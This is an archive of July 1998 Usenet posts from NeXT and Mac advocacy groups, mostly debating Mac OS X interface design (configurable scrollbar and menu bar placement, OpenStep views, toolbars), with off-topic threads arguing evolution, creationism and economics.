It would be _really_ nice if, under MacOS X, we could place UI
elements which are under the AppKit's control, wherever we want them,
by user preference.
And I'm not just talking scrollbars. But let's start there anyway.
The 'left-vs-right-scrollbar' argument is _so boring_. It is a matter
of personal preference; though fact-based arguments can be raised
about left-side scrollbars being 'better' because they are closer to
the mass of the text, since text flows from left-to-right, and this
means that most text ends up on the left.
Well, that only holds in those countries where we use a left-to-right
writing system .. doesn't it ?
So, _that_ particular argument for a fixed placement of scrollbars -
falls down like a tree in the forest (but does it make a sound?).
Instead, I beleive that scrollbars should be placable wherever we want
them, on a per-user (or even per-user/per-application) basis.
But this still leaves a lot of stuff unaccounted for. I'm talking
about the Menu Bar, Window Title Bars, even the horizontal scroll
bars. Currently, the UI is 'top-to-bottom'-centric. Meta-information
is at the top, user supplied info is at the bottom. The Menu Bar
hovers above the usable screen space; and a window's title bar hovers
above the window's contents.
I would like to be able to select _whichever_ sort of placement I felt
like.
For instance, say that I _need_ my vertical space. _Let_ me place the
Menu Bar on the left hand side of the screen, and window Title Bars on
the left hand side of the window. Now, instead of losing my precious
vertical space, I lose a bit of horizontal space. But in my
environment, for the kind of work I do, this is the arrangement I
need. (This is just a hypothetical example, btw, I am not currently
doing anything that _requires_ this, but ...)
Or, let me place _my_ stuff _above_ the system provided things - yes,
the menu bar at the bottom of the screen, window title bars _below_
windows. Oh, and the horizontal scroll bar at the top, where I happen
to want it.
This isn't even unprecedented. The 'task bar' in Windows 95/NT/98 can
be placed at whichever edge of the screen you want. Plus it can be
made to hide itself and only come out if you ask for it (by pushing
the mouse to that edge of the screen), thus not wasting any space when
it's not in use. However much I dislike Windows of any sort, I _like_
this behaviour of the task bar.
Further, Apple are currently writing the MacOS X frameworks; a lot of
'hacks' that work in the current MacOS, to place things in the menu
bar (clocks, little icons for running apps that don't need full
windows) will be replaced by fully supported ways of doing the
same. There is no reason why Apple couldn't make those work even with
fully configurable widget placement support. Likewise themes should be
doable.
I think the gain in generality of the interface would be tremendous -
not to mention it would be conceived as 'cool' by a lot of people,
including me.
And who knows, I might very well place my windows' title bars on the
left side rather than on top of windows .. and have the Menu Bar along
the left edge of the screen. And _You_ could have it _your way_.
Any thoughts ?
Best regards
// Christian Brunschen
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 7 Jul 1998 06:19:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6nt785$gh3@nntp02.primenet.com>
References: <6nql75$fvd@nntp02.primenet.com> <17943-35A148BF-10@newsd-122.bryant.webtv.net>
Joshua Moore <RasAllGhul@webtv.net> wrote:
: John Jensen wrote:
: >If you build a computer to please some portion
: >of your current installed base, will that
: >computer please potential customers as well?
: Seeing the ease of use advantage offered by the MacOS (and possibly in
: MacOS X) and the tremendous response from the public at large after the
: announcement of the iMac (well, tremendous by Mac standards) - yes.
The iMac seems to be doing well, and I'm sure its success does help
reestablish the Apple brand. Just the same, I remember when the cool new
programs all appeared on Macs first. That doesn't happen any more, and I
think that is what is taking the shine off the Apple. I'm afraid that
Apple may be doing exactly what you are saying, and trying to build a
business within their current niche. That's what companies do when they
have cash cows, businesses they don't think they can build but businesses
they think they can take profit from for a time. (Isn't there an old
quote from S.J. about the Mac as a cash cow?)
I belive that Apple needs to attract technologists for their long-term
survival, and to attract technologists Apple needs to offer more than lip
service to advanced technologies.
I'll give you a hard example of how Apple could use advanced technologies
to grab mind share. Recently, people figured out how to effectively use
"piles of pcs" for supercomputing. For a number of reasons, the builders
of such machines have centered their efforts on Alpha chips running Linux.
Story:
http://www.wired.com/news/news/technology/story/13440.html
If the PPC and MacOS X really have the stuff, why doesn't Apple pile a few
of them up (consider it burn-in ;-) and set a record?
: >What is Apple offering to potential customers
: >that they haven't tried before?
: To the Windows community it offers ease of use, modern and well tested
: foundations, and performance that Microsoft can't match. To the rest of
: the world it represents an easy to use OS that harnesses the power of
: Unix. Not to mention a wealth of development tools, and a rich layer of
: system services (QuickTime, AIAT, ATSUI, etc.,).
I know that the Mac has ease of use advantages. I've joked that if I were
the justice department I'd forget the I.E. battle and fine Microsoft a
million dollars a day until they got rid of lettered drives and used
volume names. Stuff like that is inexcusable in this day and age. But,
the Mac has had volume names since '84, and that wasn't enough to hold
market share.
I'm afraid that performance and services for Mac and Windows are close
enough (and have been judged that way by the market) not to matter.
John
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X UI suggestion
Message-ID: <1998070713215300.JAA00861@ladder01.news.aol.com>
Date: 7 Jul 1998 13:21:53 GMT
Organization: AOL http://www.aol.com
References: <6nt58n$p4h$1@bartlet.df.lth.se>
I've made this sort of suggestion myself as well.
I suspect that Apple is against it for several reasons:
1. The Mac user experience is the best (in their not so humble opinion) and
anything which doesn't strengthen/support that concept gets trashed/ignored
2. Support of users--it's bad enough trying to keep track of where Windows
users have dragged the TaskBar--it would probably be nightmarish trying to
support a fully configurable UI from a help desk by telephone unless there's
some established mechanism for normalizing the UI.
Regardless, I still believe that garnering the kind of favorable press NeXT did
in terms of the aesthetics of its interface is important and think that
additional user configurability would help gain markethshare.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 7 Jul 1998 09:24:00 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6nspfg$j8k$2@ns3.vrx.net>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu>
<3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu>
<359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net>
<6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net>
<6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net>
<6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net>
<6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news>
<6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu>
<uzpendo55.fsf@ai.mit.edu> <6nqrbs$37s$1@ns3.vrx.net>
<6ns60v$dkf$1@news.digifix.com>
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Cc: sanguish@digifix.com
In <6ns60v$dkf$1@news.digifix.com> Scott Anguish claimed:
> Then I met Maury. He makes a hummingbird seem lathargic...
Ha!!
> Unfortunately, with Carbon, Apple has pretty much negatated
> any possibility of their being a user selectability as far as this
> goes.
Yup. And since x-API is the dream they promote the chances of this
changing - in the short term - is slim.
> Apple could easily have made ScrollViews control which side the
> scroller appears on. But in the Mac OS Toolbox there is no notion of
> a view, and as a result no cohesiveness between scrollers and what
> they are displaying.
Excellent point. A sad one though.
BTW, anyone in this thread at the kernel sessions for MacOS-X?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 7 Jul 1998 09:35:57 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6nsq5t$j8k$4@ns3.vrx.net>
References: <6nr9uu$dnu$1@ns3.vrx.net> <1998070701442500.VAA00689@ladder01.news.aol.com>
<6ns8nr$e3g$1@lwnws01.ne.highway1.com>
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Cc: jkheit@mediaone.net
In <6ns8nr$e3g$1@lwnws01.ne.highway1.com> John Kheit claimed:
> Hmmm, then what about tool bars?
EEEEEEvil!!! Look at it this way, MS introduces them and no one can figure
them out, so then they add ANOTHER feature (tool tips) in order to make them
work! Geez, use the menu!
> meaningless (so tiny I don't know what they represent). But they are
> otherwise useful. I personally like the big icons, the slightly smaller
ones
> in PopOver are not as nice, but then again I have a 1600X1200 display so
that
> may account for the difference.
Remember than when MacOS-X ships, the average monitor is likely to be set
to 1024x762.
> Anyway, Icons are icons. They represent something, not only objects.
Depends on who you read. In all of Xerox's stuff and later (but not
earlier, Englebart's systems were button-pushing)the concept of an icon is to
represent an object, and other graphical systems (like menus) their methods
(sorta, decoupled to be sure). Using an icon to represent an action is bad -
at least in their books, and I tend to agree.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 7 Jul 1998 09:31:29 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6nspth$j8k$3@ns3.vrx.net>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu>
<3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu>
<359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net>
<6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net>
<6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net>
<6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net>
<6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news>
<6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu>
<uzpendo55.fsf@ai.mit.edu> <6nqrbs$37s$1@ns3.vrx.net>
<6ns60v$dkf$1@news.digifix.com> <joe.ragosta-0707980806470001@wil42.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-0707980806470001@wil42.dol.net> Joe Ragosta claimed:
> I'm just curious--is that problem inherent in the Mac OS Toolbox or is it
> something that was inherited from past practices? IOW, if it's not an
> intrinsic feature, then the new Carbon APIs might allow it.
The problem is deeper than that actually, it's because it's up to the
program itself to write the scrollbars to the screen under MacOS, and Carbon
(which has an identical model). So while it's very easy to change the
appearance and behaviour of them (as I'm sure you're well aware), changing
the _positioning_ of them requires changes to the programs code.
Could this be done universally? Almost certainly not, sadly. PP could be
changed and updated to allow for this (via Apperance even), but all programs
"from the past" would end up on the right.
OpenStep avoids this problem simply by doing this work for you (as MacOS
should too!). Views understand scrollers, specifically NSScrollViews and
NSTableViews (an odd orphan IMHO), and using scrollers in your applications
takes exactly no effort. The _side effect_ of this is that a change to those
few objects, a change in a _shared lib_ (important point there) could allow
this and all applications would get scroll bars on either side. Indeed, this
is exactly what they did for Rhapsody, and as I'm fond of saying "it just
works".
Note that the scrollers don't change, it's the view that contains them.
The whole thing comes down to OpenStep having views, and the MacOS not.
By the way this is an excellent example of why I noted you should learn
OpenStep rather than MacOS as a learning-to-program system. You don't need
to know how a scroller works in code, nor do you want to. Things like menu
commands, decoding button clicks into calls, and handling scrollers are
something every program has to do - and when ever program has to do something
it's supposed to be the OS that does it. By using OpenStep, which does
handle this stuff for you, you get to learn YOUR CODE, not Apple's. This
makes all the difference in the world.
And it's free to download the docs too, that's gotta be worth something!
Maury
From: rosdan@aol.com (Rosdan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998070715340400.LAA14488@ladder03.news.aol.com>
Date: 7 Jul 1998 15:34:04 GMT
Organization: AOL http://www.aol.com
References: <1998070701442500.VAA00689@ladder01.news.aol.com>
Why not go into the Mail.app nibs and change the size of the large buttons ?
Just shrink them. Shrink the tiffs as well. Increase the area vor viewing
messages.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 7 Jul 1998 16:14:37 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6nthhd$c99$1@lwnws01.ne.highway1.com>
References: <6nr9uu$dnu$1@ns3.vrx.net> <1998070701442500.VAA00689@ladder01.news.aol.com> <6ns8nr$e3g$1@lwnws01.ne.highway1.com> <6nsq5t$j8k$4@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6ns8nr$e3g$1@lwnws01.ne.highway1.com> John Kheit claimed:
> > Hmmm, then what about tool bars?
>
> EEEEEEvil!!! Look at it this way, MS introduces them and no
> one can figure
> them out, so then they add ANOTHER feature (tool tips) in order
> to make them work! Geez, use the menu!
Just because ms does them poorly doesn't mean they are inherently bad.
LisaDraw/MacDraw/macPaint and derivatives have been making good use of them
for decades. If we didn't make use of stuff because ms got it wrong we
wouldn't use OS's, GUIs, wordprocessors, etc. Tool bars done right are very
useful. They let the user get menu functionality without requiring them to
go into the menu system for often used functionality. That's a good thing.
> > meaningless (so tiny I don't know what they represent). But
> > they are otherwise useful. I personally like the big icons,
> > the slightly smaller
> ones
> > in PopOver are not as nice, but then again I have a 1600X1200
> > display so
> that
> > may account for the difference.
>
> Remember than when MacOS-X ships, the average monitor is likely
> to be set
> to 1024x762.
That's fine for 48X48 icons, imo. YMMV. I think 32X32 icons suck and aren't
expressive enough. Again, YMMV.
> > Anyway, Icons are icons. They represent something, not only
> > objects.
>
> Depends on who you read. In all of Xerox's stuff and later
> (but not
> earlier, Englebart's systems were button-pushing)the concept of
> an icon is to represent an object, and other graphical systems
> (like menus) their methods (sorta, decoupled to be sure). Using
> an icon to represent an action is bad - at least in their books,
> and I tend to agree.
I was speaking more of the definition of it being more a symbol. I'm sure
that UI people vary here. And although I'm not a "UI person" I do tend to
disagree on that action bit. For example, quicky buttons to
bolding/italics/etc. are liked by many people (personally I like keys better
and think the icons look cheezy, but we're going by what average joe uses to
be more productive here). I think icons thrown into any context thoughtfully
can add to the usefulness of a system; of course poorly done it can make for
a messy meaningless morass as ms aptly demonstrates in many of its products.
-- Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 7 Jul 1998 19:16:33 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6nts6h$hhn$1@news.spacelab.net>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
>Charles W. Swiger wrote:
>> Michael Peck <mjpeck@nstar.net> wrote:
>> [ ... ]
>>>> LOL, this is more true then you realise, remember that thing called
>>>> evolution? It does make your body's behavior more effecient to have a
>>>> human mind instead of a monkey's mind.:-)
>>>
>>> Not so; the human mind was created, as was the body.
>>
>> You've clearly moved beyond rational argument when you bring up your
>> personal religious convictions as inarguable "truth".
>
>You normally don't have trouble following threads, Chuck, which is why
>I'm surprised that you confuse my response to an evolution argument as
>having initiated anything of the sort.
There is no confusion, nor does it matter who began the evolution/creationism
debate. I was simply observing that anyone who argues from the position of
"this is divine, revealed truth and thus not subject to argument or
refutation" has effectively ended the debate.
You cannot be reasoned with, because your claim is a de jure assertion that
you refuse to acknowledge that your "revealed truth" could be wrong.
[ ... ]
>I've read Glieck's work in its entirety, and I don't see any reason to
>believe that it makes a case for "God playing dice".
I'm not surprised.
> I do see evidence that man has thus far been incapable of measuring or
> understanding the entire extent of the created order, but I didn't see an
> argument in there for the idea that the limitations of Man correspondingly
> limit God.
You misunderstand the central point of quantum measurement interaction.
Systems behave _differently_ depending on whether they are observed, as
experimental testing demonstrates. It has nothing to do with "Man's
limitations", because it doesn't matter whether the observer is a human, a
piece of polarized glass, a photosensitive plate, or anything else-- it has
to do with something fundamental about the way the world behaves.
>Again, I see no argument for the idea that God Himself is so bounded; if
>you can construct one I would like to hear it.
What these experiments do is remove the middle ground. Either you accept the
experimental evidence that quantum uncertainty is a genuine description of
how the world works, or you fall back on the proposition that there's a
divine puppeteer backstage, watching every sparrow fall, guiding every
conjugate pair of polarized light photons or neutral kaons in precisely the
right way to deceive the experimenters testing Bell's inequality.
If the latter proposition helps you sleep better at night, wonderful.
Don't bother to pretend that it's a rational postion.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 7 Jul 1998 21:38:07 +0100
Message-ID: <1dbtfoj.1a5qdacxwg6bkN@quern.demon.co.uk>
References: <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nem06$3cg$1@lwnws01.ne.highway1.com> <andyba-ya02408000R0207980954430001@news> <6nht9l$iio$1@lwnws01.ne.highway1.com> <1998070312530900.IAA28087@ladder03.news.aol.com> <dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net> <joe.ragosta-0407980703330001@elk91.dol.net> <1dbncmh.kwwxex1iv1uf4N@hoorn17.multiweb.net> <joe.ragosta-0407981348290001@elk41.dol.net> <dave.pl-0507980015500001@dialup180.salzburg20.salzburg.at.eu.net> <joe.ragosta-0507980745550001@elk36.dol.net> <359fbf31.0@nnrp1.news.uk.psi.net> <joe.ragosta-0507981928190001@elk40.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> So Mac users can't accomplish something in the particular way that you
> can. Who cares? All I care about is what I can do--not what the
> programmers need to do to enable me to do it.
Well, sure, at the end of the day it's down to what the user can
achieve, and how easily they can achieve it.
But if Rhapsody allows programmers to produce basic functionality - like
fax support - with less hassle than in MacOS, there's a chance they
might have time to deal with *new* features instead.
Isn't that a good thing?
--
Jonathan Sanderson http://www.quern.demon.co.uk/jonathan
Science TV Producer, Leeds/Glasgow, UK
'If I had more time, I would have written you a shorter letter' (Pascal)
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Tue, 07 Jul 1998 15:49:14 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A289CA.FCC89397@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6nts6h$hhn$1@news.spacelab.net>
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Charles W. Swiger wrote:
> There is no confusion, nor does it matter who began the evolution/creationism
> debate. I was simply observing that anyone who argues from the position of
> "this is divine, revealed truth and thus not subject to argument or
> refutation" has effectively ended the debate.
Or maybe you meant to say that by definition theory is unproven (and not
surprisingly, at the moment, unproveable). If so, then I wholeheartedly
agree. That doesn't rule out the possibility of debate, to be sure, but
many people who dismiss the "supernatural" out of hand often claim that
"I cannot debate this; you accept the existence of something you cannot
prove, therefore we have no common ground." Ignoring the fact that they
cannot 'prove' even their own existence, such people insist on their own
brand of "religion" (one assumes it's a more comfortable mantle of
faith).
> You cannot be reasoned with
Precisely because the foundation of what I espouse is external to what
Rationalism has accepted as 'reason'. Much as the existence of living
coelacanths seemed 'unreasonable' to most evolutionary scientists before
the discovery of actual living coelacanths reset those boundaries, that
which challenges existing assertions and assumptions is considered
'unreasonable' in the scientific mind precisely because the
Rationalistic faith presumes to elevate reason (as observed in the
highest known animal, Man) to the status of infallibility (deity, if you
will).
So, in essence, it's your God against mine. Semantically speaking, this
is highly objectionable to the Rationalist, but it's true, nevertheless.
> because your claim is a de jure assertion that
> you refuse to acknowledge that your "revealed truth" could be wrong.
Much as the Rationalist refuses to acknowledge that "revealed truth"
could be truth, indeed? The last five centuries have marked the
development of an entire philosophy devoted to the belief that That
Which Man Proveth Not, Existeth Not.
> > I do see evidence that man has thus far been incapable of measuring or
> > understanding the entire extent of the created order, but I didn't see an
> > argument in there for the idea that the limitations of Man correspondingly
> > limit God.
>
> You misunderstand the central point of quantum measurement interaction.
>
> Systems behave _differently_ depending on whether they are observed, as
> experimental testing demonstrates. It has nothing to do with "Man's
> limitations", because it doesn't matter whether the observer is a human, a
> piece of polarized glass, a photosensitive plate, or anything else-- it has
> to do with something fundamental about the way the world behaves.
All true; the point, in fact, is that the act of observation, as far as
we know it, is also an act of interference. The thus obsoleted notion
that eyesight is a physically inconsequential act notwithstanding, how
does this affect the existence of God? I wonder if you could have
convinced sightless Cyclops, stirring the sheep with his hands so as to
mark their passage and bar the Greeks from escape, that his
"observation" was without physical consequences (or, interestingly,
without fallibility -- the Greeks escaped, of course). Again, the
limitations of Man attributed to God attempt nothing more than the
elevation of Man to the status of deity.
> >Again, I see no argument for the idea that God Himself is so bounded; if
> >you can construct one I would like to hear it.
>
> What these experiments do is remove the middle ground. Either you accept the
> experimental evidence that quantum uncertainty is a genuine description of
> how the world works, or you fall back on the proposition that there's a
> divine puppeteer backstage, watching every sparrow fall, guiding every
> conjugate pair of polarized light photons or neutral kaons in precisely the
> right way to deceive the experimenters testing Bell's inequality.
In other words, the concept of uncertainty within creation and the
existence of a Creator without are incompatible?
> If the latter proposition helps you sleep better at night, wonderful.
> Don't bother to pretend that it's a rational postion.
That explains why Rationalists become so visibly agitated over the
mention of God: it's so comforting to believe in a supreme Creator.
Actually, it scares the stuff out of me, but I confess such faith, so
what do I know?
MJP
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 7 Jul 1998 21:32:31 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nu45f$tg3$1@camel18.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0707980825390001@wil42.dol.net> <6nts6h$hhn$1@news.spacelab.net> <35A289CA.FCC89397@ericsson.com>
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In article <joe.ragosta-0707980825390001@wil42.dol.net> Joe Ragosta,
joe.ragosta@dol.net writes:
>> I guess your definition of economic "control" is looser than mine. If I
>> controlled a situation I would want more than 20% of the income from it.
>>
>
>Then you don't have a clue about microeconomics.
>
>Even the most greedy industrialist will want only the maximum amount they
>can take without creating an unstable situation. If they took more than
>some threshhold amount (even if they have the power to do so), the
>situation rapidly becomes unstable and you risk a revolution.
So the reason my employer doesn't halve my pay is because he doesn't want
to risk a revolution? And then you say I don't have a clue?
ROFL.
>
>That means that you have to give the workers a living wage (actually, you
>have to give them enough to prevent riots--which is a larger number than
>a bare living wage). When you consider that it's around 1% of the
>population that controls about 80% of the wealth, giving the workers even
>an acceptable wage takes up a large chunk of the national income.
Hmmn, interesting theory of economics, Joe. A cabal of rich people plot
out exactly how much they can squeeze the rest of us for without causing
a revolution.
BTW your statement about 1% owning 80% is simply incorrect.
Thanks for an amusing afternoon,
Matthew Cromer
From: pkoren@hex.net (Peter Koren)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Tue, 07 Jul 1998 22:25:07 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <35a29bca.10515777@news.hex.net>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net>
On Sat, 04 Jul 1998 12:26:24 -0500, Michael Peck
<mjpeck@nstar.net> wrote:
>Not so; the human mind was created, as was the body. Einstein himself
>said that the mathematical probability of the created order being
>achieved by random, unordered events in a chaotic universe is roughly
>zero. I heard a similar expression of improbability: "it's roughly the
>same probability as tossing a ball bearing out of a flying 747 and
>hitting, say, an egg sandwich."
>
Evolution is a process that thrives on the edge of chaos. It
is so powerful that bright folks are stealing some of its
methods to design things and processes. I just saw an
article about using genetic algorithms to design FPGAs.The
evolutionary process took advantage of the parasitics on the
chip, suprising the experimenters, to design a highly
successful filter, which the experimenters could not explain
because of the complexity of the non-linearities. These
designers created a combined analog-digital FPGA because a
simplified evolutionary algorithm could invent "clever"
constructs without even being told how. Einstein was wrong.
>Actually, there's no probability involved. The thing is impossible, as
>evidenced by our three laws of thermodynamics. Order does not progress
>from chaos without transcendent order. Or, if you like:
>
Rubbish! In fact a Belgian physicist, Illya Prigogene, won a
Nobel Prize for describing the self organizing ability of
living systems within the restrictions of the laws of
thermodynamics. He heads, I am not sure of the name, a
Complex Phenomena Studies Institute at the University of
Texas at Austin.
Science advances, while superstition retreats.
Regards,
Peter Koren
Subject: Re: Free (Microsoft Delays Win NT)
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6nts6h$hhn$1@news.spacelab.net> <35A289CA.FCC89397@ericsson.com>
In-Reply-To: <35A289CA.FCC89397@ericsson.com>
From: not@my.address.net
Message-ID: <5qxo1.2786$24.16251625@news.itd.umich.edu>
Date: Tue, 07 Jul 1998 22:36:49 GMT
NNTP-Posting-Date: Tue, 07 Jul 1998 18:36:49 EDT
On 07/07/98, Michael Peck wrote:
>many people who dismiss the "supernatural" out of hand often claim that
>"I cannot debate this; you accept the existence of something you cannot
>prove, therefore we have no common ground." Ignoring the fact that they
>cannot 'prove' even their own existence, such people insist on their own
>brand of "religion" (one assumes it's a more comfortable mantle of
>faith).
You're letting all this talk about proof do too much work for you. I think CWS
would settle for something less, like evidence. I know that I would. It's just
that most of us work with a rough principle of proportionality: strong claims
require strong evidence. That's a basic principle of science. And that's what
distinguishes science from religion.
Here's another way of getting at the relevant distinction: To be reasonable is
to have beliefs that track the available evidence; to have faith is to have
beliefs with a certain content, and available evidence is beside the point.
>
>> You cannot be reasoned with
>
>Precisely because the foundation of what I espouse is external to what
>Rationalism has accepted as 'reason'. Much as the existence of living
>coelacanths seemed 'unreasonable' to most evolutionary scientists before
>the discovery of actual living coelacanths reset those boundaries, that
>which challenges existing assertions and assumptions is considered
>'unreasonable' in the scientific mind precisely because the
>Rationalistic faith presumes to elevate reason (as observed in the
>highest known animal, Man) to the status of infallibility (deity, if you
>will).
Whoever said anything about infallibility? Most scientists are ardent
fallibilists, and for just the reason you mention: new evidence is always a
possibility, and with new evidence comes the possibility that a reasonable
person (that is one who's beliefs track the available evidence) will have to
change their minds.
>
>That explains why Rationalists become so visibly agitated over the
>mention of God:
I know. God-fearing Americans like you are forced to contend with a public
that's largely unsympathetic and even hostile to your religious beliefs -- even
in Texas. You're oppressed by sales taxes and sex education in the public
schools, oppressed by any form of democratic government for that matter, and to
